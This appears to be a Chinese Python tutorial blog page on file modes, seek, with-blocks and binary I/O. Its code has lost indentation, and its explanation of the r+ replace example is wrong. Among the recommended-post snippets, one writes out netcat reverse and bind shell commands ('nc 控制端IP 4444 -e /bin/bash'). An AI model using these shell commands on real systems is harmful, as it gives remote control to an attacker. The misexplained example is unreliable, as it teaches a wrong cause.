文件句柄:可简单理解为应该内存对象

open()函数  参考 https://www.runoob.com/python3/python3-file-methods.html

读、写、追加

 '''
txt文件内容:
I
am
very
handsome
'''
#读(mode = r)
f = open('test.txt','r',encoding='utf-8')
x = f.readline() #读取文件的一行,这时文件句柄移动到下一行的位置
x = f.readlines() #从文件句柄位置开始读取整个文件内容,并将每一行作为一个元素添加到一个列表
#当一个文件很大时readlines()是行不通的,他会把整个文件加载到内存,再执行后面的代码
#这回耗费很多时间和消耗大量的内存 # 可以用读一行打印一行的方式加快文件的读取
f.seek(0) #将文件句柄挪到文件的开始位置
for l in f:
print(l.strip(),end=' ')
#结果 I am very handsome #这个方法在一边读文件一边写文件是很有用的
#写(mode = w) 如果目标文件不存在会创建一个,但是如果存在的话会把原文件内容删除,慎用!!!
# 备份一个test.txt,名为test_bak.txt
f.seek(0)
f_w = open('test_bak.txt','w') #encoding 默认utf-8
for l in f:
f_w.write(l)
#完成备份
#追加 (mode = a)在原文件的后面追加内容,是不可读的,如果文件不存在会创建一个
f_a = open('test.txt','a')
f_a.write('lalala') #'lalala' 被添加到了test.txt的末尾
f_a.close()
f_w.close()
f.close()

读写、写读、追加读写

 '''
txt文件内容:
I
am
very
handsome
'''
#读写(mode = r+)
with open('test.txt','r+') as f_r_p,\
open('test_bak.txt','w+') as f_w_p,\
open('test_a.txt','a+') as f_a_p:
'''
用with语法可以省略最后的文件关闭操作,同时可以打开多个文件
1.w+,还是会将原文件内容删除然后在进行写读等操作,慎用!!!
2.r+,非常实用,但如果要对原文件直接更改是不行的,比如有'I am very handsome'这么一个
字符串,如果想把'I'改为'You',见下面代码21-24行,发现打印的结果还是'I',没有变为想要替换
的'You',因为在硬盘里的文件已经写死了,硬盘里的后面数据是不会随着前面的数据的变化而前
后挪动的,所以要修改文件可以采用复制的方法,就是在创建一个文件,并将修改的内容写入新的
文件。
'''
x = f_r_p.readline()
x.replace('I\n','You\n')
f_r_p.seek(0)
print(f_r_p.readline())
#将test.txt文件,第一行改为'You',并写入test_a.txt
f_r_p.seek(0)
for l in f_r_p:
print(l,end='')
if l=='I\n':
f_a_p.write('You\n')
else:
f_a_p.write(l)

二进制

 #二进制写(mode = wb)
with open('bin.txt','wb') as f_wb:
f_wb.write(b'i am bin')
#二进制读(mode = rb)
with open('bin.txt','rb') as f_rb:
print(f_rb.readline())

python 基础(文件)的更多相关文章

  1. python 基础-文件读写'r' 和 'rb'区别

    原文链接: python基础-文件读写'r' 和 'rb'区别 一.Python文件读写的几种模式: r,rb,w,wb 那么在读写文件时,有无b标识的的主要区别在哪里呢? 1.文件使用方式标识 'r ...

  2. Python基础--文件操作和集合

    这篇博客来说一下python对文件的操作. 对文件的操作分三步: 1.打开文件获取文件的句柄,句柄就理解为这个文件 2.通过文件句柄操作文件 3.关闭文件. 现有以下文件file.txt: 我们哭了 ...

  3. python基础--文件操作实现全文或单行替换

    python修改文件时,使用w模式会将原本的文件清空/覆盖.可以先用读(r)的方式打开,写到内存中,然后再用写(w)的方式打开. 替换文本中的taste 为 tasting Yesterday whe ...

  4. python基础-文件操作

    一.文件操作 打开文件时,需要指定文件路径和以何等方式打开文件,打开后,即可获取该文件句柄,日后通过此文件句柄对该文件操作. 打开文件的模式有: r ,只读模式[默认模式,文件必须存在,不存在则抛出异 ...

  5. python基础 - 文件读写

    完成功能: 从指定位置读文件到控制台 #! /usr/bin/python # coding=utf- 方法一. try: f = open ('/root/python/file/001.txt', ...

  6. python基础-文件操作(10)

    一.什么是文件 等等这些都叫做文件,各种格式的.但不仅仅限制于这些. 二.文件的作用 大家应该听说过一句话:“好记性不如烂笔头”. 不仅人的大脑会遗忘事情,计算机也会如此,比如一个程序在运行过程中用了 ...

  7. 第3章 Python基础-文件操作&函数 文件操作 练习题

    一.利用b模式,编写一个cp工具,要求如下: 1. 既可以拷贝文本又可以拷贝视频,图片等文件 2. 用户一旦参数错误,打印命令的正确使用方法,如usage: cp source_file target ...

  8. python基础----文件处理

    一.文件处理流程 打开文件,得到文件句柄并赋值给一个变量 通过句柄对文件进行操作 关闭文件 正趣果上果 Interesting fruit fruit 词:郭婞 曲:陈粒 编曲/混音/和声:燕池 萧: ...

  9. python基础-文件处理与函数

    1. 文件处理 1.1 文件处理流程 1.打开文件,得到文件句柄并赋值给一个变量 2.通过句柄对文件进行操作 3.关闭文件 1.2 文件读取模式r r文本模式的读,在文件不存在,不会创建新文件 f = ...

  10. Python基础——文件操作

    写文件 writefile %%writefile ./data/testFile.txt hello python jin tian tian qi bu cuo open覆盖 txt=open(' ...

随机推荐

  1. [技术博客] 利用Vagrant+virtualbox在windows下进行linux开发

    目录 加速box安装的方法 root账户登录 换源教程 安装rvm 访问rails server RubyMine连接虚拟机上的解释器 作者:庄廓然 在windows下进行linux开发:利用Vagr ...

  2. dateTime格式转换

    select Convert(varchar(8),GETDATE(),112) Select replace(CONVERT(varchar(8), GETDATE(), 108),':','')

  3. srs安装与ffmpeg推流

    环境说明:ubuntu 16.04 当前目录为~/. 一. 下载 git clone https://github.com/ossrs/srs.git 二.部署SRS 关闭防火墙,执行如下命令. uf ...

  4. nc 命令转发bash

    反向 1.控制端:nc -lvp 4444 2.被控制端:nc 控制端IP 4444 -e /bin/bash 正向 1.被控制端:nc -lvp 4444 -e /bin/bash 2.控制端:nc ...

  5. Cross-channel Communication Networks

    Cross-channel Communication Networks 2019-12-13 14:17:18 Paper: https://papers.nips.cc/paper/8411-cr ...

  6. mestasploit笔记 :MS17-010

    实验环境 操作机 :Kali 2017 操作机IP:172.16.11.2 目标机:Windows 7 目标机IP:172.16.12.2 实验目的 认知Windows远程溢出漏洞的危害 知悉MS17 ...

  7. 2019t1_sumdoc_list.txt aa.docx acc baidu v2 sbb.docx Acc jindon v2 sbb.docx assetsList.html Atiitt 日本刑法典读后笔记.docx Atiti 遇到说花心的时候赞美应对.docx Atitit lesson.docx Atitit malye主义、mzd思想和dsp理论的区别和联系.docx Ati

    2019t1_sumdoc_list.txtaa.docxacc baidu v2 sbb.docxAcc jindon v2 sbb.docxassetsList.htmlAtiitt 日本刑法典读 ...

  8. x264 b_annexb格式和多slice

    实际应用环境:iOS,Android x264_param_t中有下面两个参数值得注意下int i_threads;        /* encode multiple frames in paral ...

  9. C# 嵌入第三方EXE界面到panel中

    C#可以通过windows API,将第三方程序嵌入到panel中,并且可以隐藏程序边框.问题:焦点在内部程序时,主窗口失去焦点:与内部EXE如何通讯? 代码如下: public partial cl ...

  10. RabbitMQ的应用总结

    RabbitMQ是一个由erlang开发的AMQP(Advanced Message Queue )的开源实现.AMQP 的出现其实也是应了广大人民群众的需求,虽然在同步消息通讯的世界里有很多公开标准 ...